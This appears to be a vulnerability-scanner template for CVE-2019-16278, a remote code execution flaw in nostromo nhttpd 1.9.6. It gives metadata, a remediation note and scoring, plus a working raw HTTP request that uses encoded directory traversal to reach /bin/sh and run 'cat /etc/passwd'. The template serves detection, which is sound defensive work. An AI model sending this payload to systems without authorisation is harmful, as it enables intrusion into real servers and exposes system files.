id: CVE-2019-16278
info:
name: nostromo 1.9.6 - Remote Code Execution
author: pikpikcu
severity: critical
description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify.
remediation: |
Upgrade to a patched version of nostromo web server (1.9.7 or later) or apply the vendor-supplied patch.
reference:
- https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html
- https://www.exploit-db.com/raw/47837
- https://nvd.nist.gov/vuln/detail/CVE-2019-16278
- http://www.nazgul.ch/dev/nostromo_cl.txt
- http://packetstormsecurity.com/files/155045/Nostromo-1.9.6-Directory-Traversal-Remote-Command-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-16278
cwe-id: CWE-22
epss-score: 0.97366
epss-percentile: 0.9987
cpe: cpe:2.3:a:nazgul:nostromo_nhttpd:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: nazgul
product: nostromo_nhttpd
tags: edb,cve,cve2019,rce,packetstorm
http:
- raw:
- |
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host: {{Hostname}}
echo
cat /etc/passwd 2>&1
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4b0a004830460221009399960b2c39e21b4f7c0b86d88953a3731e6a41eaadb97c5b9ca5b4f48dfbf0022100a78774fbeddfa6bbc8b373a583dcdf79c29db9939f4a3fe76767f9c3fc30ef81:922c64590222798bb761d5b6d8e72950